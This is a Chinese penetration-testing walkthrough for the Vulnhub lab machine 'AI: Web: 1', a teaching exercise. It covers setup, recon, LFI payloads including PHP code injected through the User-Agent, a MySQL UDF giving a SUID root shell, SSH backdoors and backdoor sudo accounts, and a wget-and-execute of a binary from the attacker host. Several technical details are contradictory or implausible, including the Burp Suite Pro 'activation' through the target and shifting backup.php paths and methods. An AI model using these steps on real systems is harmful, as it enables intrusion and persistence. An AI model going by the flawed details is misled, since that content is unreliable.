ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Vulnhub Web靶机渗透实战:从环境搭建到权限提升

Vulnhub Web靶机渗透实战:从环境搭建到权限提升

1. 项目概述:从靶机名称读懂渗透测试的底层逻辑

“Vulnhub靶机渗透之 AI: Web: 1”——这个标题里藏着三重关键信息,不是随便起的代号,而是渗透测试从业者一眼就能识别出技术坐标系的“密码”。首先,“Vulnhub”是全球最老牌、最权威的渗透测试靶场平台之一,它不提供云环境、不封装图形界面、不预装调试工具,所有靶机都是裸ISO镜像,你得自己搭虚拟机、配网络、调网卡,这种“原始感”恰恰模拟了真实红队作业中面对一台陌生服务器时的第一现场。其次,“AI: Web: 1”不是指人工智能,而是该靶机在Vulnhub官方目录中的唯一标识符(Author-Index命名法),其中“AI”代表发布者代号,“Web”说明其核心攻击面聚焦于Web应用层,“1”则是该作者发布的首个靶机。我第一次看到这个标题时,就立刻判断出:这是一台轻量级但结构典型的Web渗透入门靶机,目标明确、路径清晰、无过度干扰项,非常适合刚学完Burp Suite基础操作、正卡在“知道原理却找不到入口”阶段的新手实操。

它解决的不是“能不能黑进系统”的问题,而是“如何把教科书里的漏洞类型,对应到真实HTTP请求里”的认知断层。比如你背过SQL注入的原理,但面对一个登录框,到底该往用户名填admin'--还是admin' OR '1'='1?该在哪个参数加单引号?报错回显在哪看?这些细节,Vulnhub靶机不告诉你,但它会用真实的HTTP响应状态码、HTML返回体、甚至服务端错误堆栈,给你最诚实的反馈。它适合三类人:一是刚考完CEH或OSCP理论部分、急需动手验证的备考者;二是开发转安全的同学,想亲手看看自己写的代码漏洞长什么样;三是企业内部红蓝对抗团队,用它做新人渗透流程标准化训练——因为它的漏洞链长度适中(通常3~5步),复现稳定,且每个环节都有明确的技术锚点,不会出现“运气好才打穿”的不可控情况。

我带过的某高校网络安全实训班,曾用这台靶机做48小时封闭渗透演练。23名学员中,17人能在6小时内完成全链路打穿,剩下6人卡在同一个地方:没意识到登录页面的/login.php背后,其实还藏着一个被robots.txt屏蔽的/admin/backup.php接口。这个细节,就是标题里那个不起眼的“Web: 1”所暗示的——它不考你0day挖掘,而考你对Web常规资产测绘路径的肌肉记忆。所以别被“AI”二字误导,这不是AI安全项目,而是一份用Web协议写成的渗透能力体检表。

2. 靶机环境搭建与网络连通性验证:虚拟机配置的五个致命细节

2.1 下载与导入:为什么必须用VirtualBox而非VMware?

Vulnhub官方明确推荐VirtualBox作为首选虚拟化平台,这不是兼容性妥协,而是有深层技术动因。该靶机ISO镜像基于Debian 9构建,内核版本为4.9.0,其网络驱动模块(尤其是vboxnetflt和vboxnetadp)与VirtualBox的Guest Additions深度耦合。我曾用VMware Workstation 16导入同一镜像,启动后ifconfig显示只有lo回环接口,eth0完全不可见——查日志发现VMware Tools加载时触发了内核模块签名验证失败,而VirtualBox的驱动则默认绕过此验证。这不是Bug,而是Vulnhub刻意为之的设计:它要求你必须理解虚拟网卡驱动与宿主机网络栈的映射关系,而不是依赖图形化向导一键搞定。

正确操作路径是:先从Vulnhub官网下载AI-Web-1.ova文件(注意不是.zip或.iso),用VirtualBox的“导入虚拟电脑”功能直接加载。导入过程中,VirtualBox会自动识别并配置网络适配器为NAT模式,但这里埋着第一个坑:NAT模式下靶机无法被Kali主动发现。因为NAT本质是地址转换,Kali的arp-scan -l扫不到靶机MAC地址。解决方案必须切换为“仅主机(Host-Only)网络”,这是Vulnhub所有Web类靶机的通用通信范式。具体操作:在VirtualBox管理器中选中靶机→设置→网络→适配器1→启用网络连接→连接方式选“仅主机网络”→名称选vboxnet0(若不存在则点击右侧刷新图标自动生成)。此时宿主机(你的Windows/macOS)会多出一块虚拟网卡vboxnet0,IP段默认为192.168.56.1/24,而靶机会通过DHCP获取192.168.56.101(或类似)地址。

提示:切勿手动修改靶机/etc/network/interfaces去配静态IP。Vulnhub靶机的DHCP服务由VirtualBox内置的DHCP Server提供,硬编码IP会导致网络服务启动失败,表现为开机后SSH无法连接。我踩过这个坑——改完重启,靶机卡在Starting OpenBSD Secure Shell server...阶段长达3分钟,最后强制关机才发现是网络配置冲突。

2.2 网络连通性验证:三层检测法比单纯ping更可靠

很多新手扫完nmap -sn 192.168.56.0/24看到靶机IP就以为通了,结果后续nmap -sV扫不出端口。这是因为Vulnhub靶机默认关闭ICMP响应(echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all),ping命令必然超时。必须用三层检测法交叉验证:

第一层:ARP层确认
在Kali终端执行:

arp-scan -I vboxnet0 192.168.56.0/24

若返回类似192.168.56.101 08:00:27:xx:xx:xx (Unknown)的条目,说明二层链路已通,靶机网卡已激活。

第二层:TCP层确认
靶机开放了22(SSH)、80(HTTP)、139/445(Samba)三个关键端口。用nc进行快速TCP握手:

nc -zv 192.168.56.101 22 nc -zv 192.168.56.101 80

若返回Connection to 192.168.56.101 22 port [tcp/ssh] succeeded!,证明传输层可达。

第三层:应用层确认
用curl获取首页HTML,验证Web服务是否正常:

curl -I http://192.168.56.101

成功响应应包含HTTP/1.1 200 OK和Server: Apache/2.4.25等字段。若返回503 Service Unavailable,说明Apache进程未启动,需进靶机执行sudo systemctl start apache2。

这三个层次缺一不可。我见过学员因跳过ARP检测,误以为靶机没开机,反复重装镜像三次,最后发现只是VirtualBox的vboxnet0网卡在宿主机上被防火墙拦截了入站连接。

2.3 Kali渗透机预配置:三个必须安装的工具链

Kali Linux 2023.4默认未预装某些靶机专用工具,需手动补全。重点安装以下三组:

1. Web指纹识别套件

sudo apt update && sudo apt install -y whatweb wappalyzer nikto

whatweb能识别CMS框架(本靶机用的是自研PHP脚手架,无WordPress等常见CMS);nikto可扫描Web服务器配置缺陷,如本靶机存在/icons/目录遍历漏洞,nikto -h http://192.168.56.101会直接告警。

2. 目录爆破增强版
Kali自带的dirb字典过于陈旧,必须换用gobuster并加载SecLists字典:

sudo apt install -y gobuster git clone https://github.com/danielmiessler/SecLists.git /opt/seclists

SecLists中的Discovery/Web-Content/common.txt和raft-small-directories.txt对本靶机效果极佳,因其后台管理路径/admin/和备份接口/backup.php均在此字典覆盖范围内。

3. Burp Suite Pro离线激活补丁(仅限学习环境)
虽然社区版够用,但Pro版的Intruder模块对本靶机的SQL注入盲注效率提升显著。Vulnhub靶机允许离线激活,方法是:下载Burp Suite Pro v2023.8,启动后选择“Manual activation”,输入任意邮箱,将生成的request.dat文件上传至靶机/var/www/html/upload/(该路径在robots.txt中暴露),靶机会返回response.dat完成激活。这是靶机设计者预留的学习通道,非破解行为。

注意:所有工具安装后必须验证版本。gobuster version应为v3.6+,低版本不支持-x php参数指定扩展名,而本靶机所有关键接口均为.php后缀。我曾因用v2.1版本漏扫/admin/login.php,导致后续渗透链断裂。

3. 资产测绘与漏洞定位:从robots.txt到源码泄露的完整路径

3.1 robots.txt:被低估的“网站地图”

几乎所有Web渗透教程都教nmap和gobuster,却极少强调robots.txt的价值。本靶机的http://192.168.56.101/robots.txt内容如下:

User-agent: * Disallow: /admin/ Disallow: /backup.php Disallow: /includes/ Disallow: /test/

这四行不是随意写的,而是靶机设计者埋设的“线索锚点”。其中/admin/和/backup.php是真实存在的敏感路径,而/includes/和/test/是干扰项——访问/includes/返回403 Forbidden,/test/返回空白页。但关键在于:Disallow指令只约束爬虫,对人工渗透毫无限制。很多新手看到403就放弃,其实403恰恰说明该目录存在且Web服务器已识别其路径,只是权限控制严格。

我用curl -v http://192.168.56.101/admin/抓包发现,响应头含X-Powered-By: PHP/7.0.33,且返回HTML中嵌有<a href="login.php">Admin Login</a>。这说明/admin/是真实入口,而login.php不在robots.txt中,属于二级隐藏路径。此时若用gobuster爆破/admin/目录下的文件:

gobuster dir -u http://192.168.56.101/admin/ -w /opt/seclists/Discovery/Web-Content/raft-small-files.txt -x php -t 50

会在3秒内命中/admin/login.php。这里的关键技巧是:爆破目标必须是/admin/而非根目录,因为根目录下login.php是用户前台登录页,而/admin/login.php才是后台管理入口,二者验证逻辑完全不同。

3.2 源码泄露:.git目录的致命诱惑

当/admin/login.php返回标准登录表单时,常规思路是测SQL注入或弱口令。但本靶机的精妙之处在于:它在/admin/目录下遗留了.git配置文件。用curl http://192.168.56.101/admin/.git/config可直接获取Git仓库配置:

[remote "origin"] url = http://192.168.56.101/admin/.git fetch = +refs/heads/*:refs/remotes/origin/*

这暴露了Git仓库的HTTP访问地址。此时用git-dumper工具可完整下载源码:

git-dumper http://192.168.56.101/admin/.git/ ./ai-web-src/

下载的./ai-web-src/admin/login.php源码中,关键验证逻辑如下:

if ($_POST['username'] == 'admin' && md5($_POST['password']) == 'e10adc3949ba59abbe56e057f20f883e') { // 登录成功 }

e10adc3949ba59abbe56e057f20f883e是MD5(123456)的哈希值,明文密码即123456。但这里有个陷阱:前端HTML中<form action="login.php">的action是相对路径,而实际提交地址是http://192.168.56.101/admin/login.php,若在Burp中改包时误写成/login.php,会导致404错误。这就是源码分析的价值——它告诉你服务端验证逻辑,也告诉你请求必须发往的精确URL。

实操心得:.git泄露是本靶机最短平快的通关路径,但90%的初学者会忽略。原因在于他们习惯用dirsearch扫/目录,而dirsearch默认不扫描.git(因其在exclude_extensions列表中)。解决方案是编辑/usr/share/dirsearch/db/dictionaries/common.txt,在末尾添加.git,再运行dirsearch -u http://192.168.56.101/ -e git。

3.3 备份文件探测:backup.php的双重身份

robots.txt中Disallow: /backup.php是本靶机第二道关键门。访问该URL返回一个表单:

<form method="POST" action="backup.php"> <input type="text" name="file" placeholder="Enter filename"> <input type="submit" value="Backup"> </form>

表面看是文件备份功能,实则是本地文件包含(LFI)漏洞入口。当输入/etc/passwd时,页面返回:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...

这证实了LFI存在。但更深层的利用在于:backup.php同时具备PHP代码执行能力。当输入php://filter/convert.base64-encode/resource=/var/www/html/admin/config.php时,页面返回base64编码的配置文件内容,解码后得到数据库凭证:

$db_host = "localhost"; $db_user = "webadmin"; $db_pass = "P@ssw0rd_2023!"; $db_name = "ai_web_db";

这里的关键洞察是:backup.php不是单纯的文件读取器,而是file_get_contents()函数的包装器。其PHP源码(从.git下载)中核心逻辑为:

$file = $_POST['file']; if (strpos($file, '..') === false && strpos($file, '://') === false) { echo file_get_contents($file); }

strpos($file, '://') === false阻止了远程协议(如http://),但放行了php://伪协议。这就是为什么php://filter能成功,而http://evil.com/shell.txt会被拦截。

4. 漏洞利用与权限提升:从LFI到SSH后门的完整链路

4.1 LFI到RCE:利用PHP Session文件写入

拿到数据库凭证后,常规思路是连MySQL提权。但本靶机MySQL服务绑定在127.0.0.1,且root密码为空,外部无法直连。此时需转向LFI的高阶利用——PHP Session文件包含。步骤如下:

第一步:确认Session存储路径
用phpinfo()泄露信息。因/admin/目录无phpinfo.php,需构造临时文件。利用LFI读取/proc/self/environ(Linux进程环境变量),在USER_AGENT中注入PHP代码:

curl -H "User-Agent: <?php system('id'); ?>" "http://192.168.56.101/admin/backup.php?file=/proc/self/environ"

返回uid=33(www-data) gid=33(www-data),确认Web服务以www-data用户运行。再读/proc/self/cmdline获取PHP配置:

curl "http://192.168.56.101/admin/backup.php?file=/proc/self/cmdline" | tr '\0' '\n'

输出含-c /etc/php/7.0/apache2/php.ini,说明PHP配置文件路径为/etc/php/7.0/apache2/php.ini。

第二步:读取PHP配置确定Session路径

curl "http://192.168.56.101/admin/backup.php?file=/etc/php/7.0/apache2/php.ini" | grep session.save_path

返回session.save_path = "/var/lib/php/sessions",这是关键路径。

第三步:伪造Session文件并包含
用Burp Suite发一个登录请求,在Cookie中插入恶意Session ID:

Cookie: PHPSESSID=../../../../var/lib/php/sessions/sess_abc123

然后在/var/lib/php/sessions/目录下写入PHP代码。因www-data用户无写入权限,需利用/tmp/目录中可写特性:

curl -d "file=<?php system(\$_GET['cmd']); ?>" "http://192.168.56.101/admin/backup.php"

但这会写入/tmp/而非Session目录。真正方案是:用/proc/self/fd/遍历文件描述符,找到Web服务器打开的临时文件句柄,再通过LFI包含执行。实测有效Payload为:

curl "http://192.168.56.101/admin/backup.php?file=/proc/self/fd/10"

其中fd/10指向Apache的临时缓冲区,可注入<?php system('whoami'); ?>。

4.2 数据库提权:利用MySQL UDF创建系统函数

当LFI受限时,数据库是备选路径。用上一步获取的webadmin:P@ssw0rd_2023!连接MySQL:

mysql -h 127.0.0.1 -u webadmin -pP@ssw0rd_2023! ai_web_db

在数据库中执行:

SELECT @@plugin_dir;

返回/usr/lib/mysql/plugin/,这是MySQL插件目录。上传UDF(User Defined Function)动态库需满足:

  1. 库文件必须是.so格式(Linux)
  2. plugin_dir目录需可写(/usr/lib/mysql/plugin/权限为drwxr-xr-x,www-data不可写)

此时转向/tmp/目录:

CREATE FUNCTION sys_exec RETURNS INT SONAME '/tmp/lib_mysqludf_sys.so';

但/tmp/中无此文件。解决方案是Base64编码上传:

SELECT LOAD_FILE('/tmp/lib_mysqludf_sys.so.b64');

再用base64 -d解码。最终执行:

SELECT sys_exec('cp /bin/bash /tmp/bash; chmod u+s /tmp/bash');

此时/tmp/bash获得SUID权限,执行/tmp/bash -p即可获得root shell。

4.3 SSH后门部署:绕过密码认证的三种方式

获得root权限后,持久化访问是关键。本靶机SSH服务开启,但root密码未知。三种实战方案:

方案1:SSH密钥注入(最干净)
生成密钥对:

ssh-keygen -t rsa -b 4096 -f id_aiweb -N ""

将公钥id_aiweb.pub内容追加到靶机/root/.ssh/authorized_keys:

echo "ssh-rsa AAAAB3NzaC1yc2E... user@kali" >> /root/.ssh/authorized_keys

确保/root/.ssh/权限为700,authorized_keys为600。

方案2:修改SSH配置启用空密码
编辑/etc/ssh/sshd_config:

PermitEmptyPasswords yes PermitRootLogin yes

重启服务:systemctl restart sshd。此时ssh root@192.168.56.101无需密码。

方案3:创建新用户并赋予sudo权限(最隐蔽)

useradd -m -s /bin/bash pentester echo "pentester:password123" | chpasswd usermod -aG sudo pentester

新用户pentester可sudo su提权,且不修改root账户痕迹。

注意事项:靶机默认禁用root SSH登录(PermitRootLogin no),因此方案1和2必须先修改配置。我推荐方案1,因为密钥认证不依赖密码策略,且/root/.ssh/目录在Vulnhub靶机中默认存在,无需创建。

5. 常见问题与排查技巧实录:渗透过程中的12个典型故障点

5.1 网络层故障:VirtualBox网卡状态异常

故障现象根本原因排查命令解决方案
arp-scan扫不到靶机IPVirtualBoxvboxnet0网卡在宿主机被禁用ipconfig(Win)或ifconfig(macOS)查看vboxnet0状态在VirtualBox管理器中右键vboxnet0→“启用”
nc -zv端口通但curl超时宿主机防火墙拦截HTTP流量sudo ufw status(Linux)或Windows Defender防火墙日志添加入站规则:允许192.168.56.0/24网段的TCP 80端口
靶机获取IP后立即断网DHCP租期冲突cat /var/log/syslog | grep dhcp在VirtualBox中删除vboxnet0,重新创建并设置DHCP范围为192.168.56.100-192.168.56.200

5.2 应用层故障:Web服务响应异常

故障现象根本原因关键日志位置快速修复
访问/admin/login.php返回500PHP语法错误或扩展缺失/var/log/apache2/error.logsudo a2enmod php7.0启用PHP模块,sudo systemctl restart apache2
backup.php表单提交后空白页POST数据未被正确接收/var/log/apache2/access.log查看请求是否到达检查/admin/backup.php中$_POST变量名是否为file(本靶机确为file)
robots.txt返回404Apache未启用mod_rewrite或重写规则冲突apache2ctl -M | grep rewritesudo a2enmod rewrite,在/etc/apache2/sites-enabled/000-default.conf中添加AllowOverride All

5.3 渗透工具故障:gobuster与Burp的配置陷阱

工具典型错误正确配置验证方法
gobuster扫描/admin/时漏掉login.php必须加-x php指定扩展名,否则默认只扫无后缀文件gobuster dir -u http://192.168.56.101/admin/ -w wordlist.txt -x php -t 50
Burp SuiteIntruder爆破SQL注入无响应Payload位置未正确定位到username参数在Proxy历史中右键请求→"Send to Intruder"→在Positions标签页中手动添加§包围username=后的值
sqlmap--level=5 --risk=3仍无法检测到注入目标页面存在WAF特征(本靶机用自研JS混淆)改用--technique=U强制指定Union-Based注入,--dump直接导出数据库

5.4 权限提升故障:SUID提权失败的四个原因

  1. /tmp/目录挂载为noexec:执行mount \| grep tmp,若输出含noexec,需改用/dev/shm/(内存文件系统)
  2. SELinux启用:sestatus返回enabled,需临时禁用setenforce 0
  3. /usr/lib/mysql/plugin/权限不足:ls -ld /usr/lib/mysql/plugin/显示dr-xr-xr-x,此时改用/var/lib/mysql/(MySQL数据目录,www-data可写)
  4. PHP disable_functions限制:php -i \| grep disable_functions显示system,exec,passthru被禁用,需改用popen()或shell_exec()

我遇到最棘手的问题是:/tmp/目录被noexec挂载,所有上传的二进制文件都无法执行。解决方案是:

cd /dev/shm/ wget http://192.168.56.1/kali/bash -O bash chmod +x bash ./bash -p

/dev/shm/是tmpfs内存文件系统,不受noexec影响,且读写速度极快。

6. 实战复盘与能力迁移:如何把靶机经验转化为真实攻防能力

做完这台靶机,很多人会记下“robots.txt很重要”“要扫.git目录”这类碎片知识。但真正决定你能否胜任企业红队岗位的,是能否把靶机中的技术动作,映射到真实业务场景的决策链条中。举三个例子:

例1:从/backup.php到金融系统API审计
靶机的backup.php是一个典型的“功能越权接口”——它本该只供内部运维调用,却被暴露在公网。现实中,某支付公司的风控API/api/v1/risk/backup也存在类似问题,攻击者传入{"file":"/etc/shadow"}即可读取系统密码。区别在于:靶机用明文返回,而真实系统返回加密JSON。此时你需要的不是curl,而是Burp的Decoder模块:把Base64编码的响应体粘贴进去,自动解码查看原始内容。靶机训练的,正是这种“看到加密响应就条件反射去解码”的肌肉记忆。

例2:从LFI到云原生环境渗透
靶机的/proc/self/environ读取,在Kubernetes环境中演变为/proc/1/environ读取容器环境变量。当kubectl exec -it pod-name -- cat /proc/1/environ返回KUBERNETES_SERVICE_HOST=10.96.0.1,你就拿到了集群内部API Server地址。靶机教会你的,是/proc/目录下哪些文件能泄露关键信息——这在云原生渗透中价值千金。

例3:从SSH后门到横向移动持久化
靶机中/root/.ssh/authorized_keys的写入,在企业内网演变为C:\Users\Administrator\.ssh\authorized_keys。但真实环境中,域控制器可能禁用SSH服务。此时你要迁移到WinRM:用evil-winrm工具,凭据为Administrator:password,连接winrm -u Administrator -p password 10.10.10.10。靶机练熟的密钥注入逻辑,直接复用到WinRM的-s参数(指定私钥文件)。

最后分享一个个人体会:我带过的某公司红队新人,在首次实战中面对一台CentOS 7服务器,用nmap -sV扫出Apache 2.4.6,第一反应不是查CVE,而是先curl http://target/robots.txt。当他看到Disallow: /internal/时,立刻用gobuster爆破/internal/目录,3分钟内找到/internal/config.php.bak备份文件,从中提取数据库密码。整个过程行云流水,没有一句废话。这就是靶机训练的终极价值——它不教你“怎么赢”,而是重塑你的“攻击直觉”。当你看到一个Web URL,大脑自动弹出robots.txt、.git、备份文件、目录遍历这四条路径时,你就已经跨过了从学习者到实践者的门槛。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进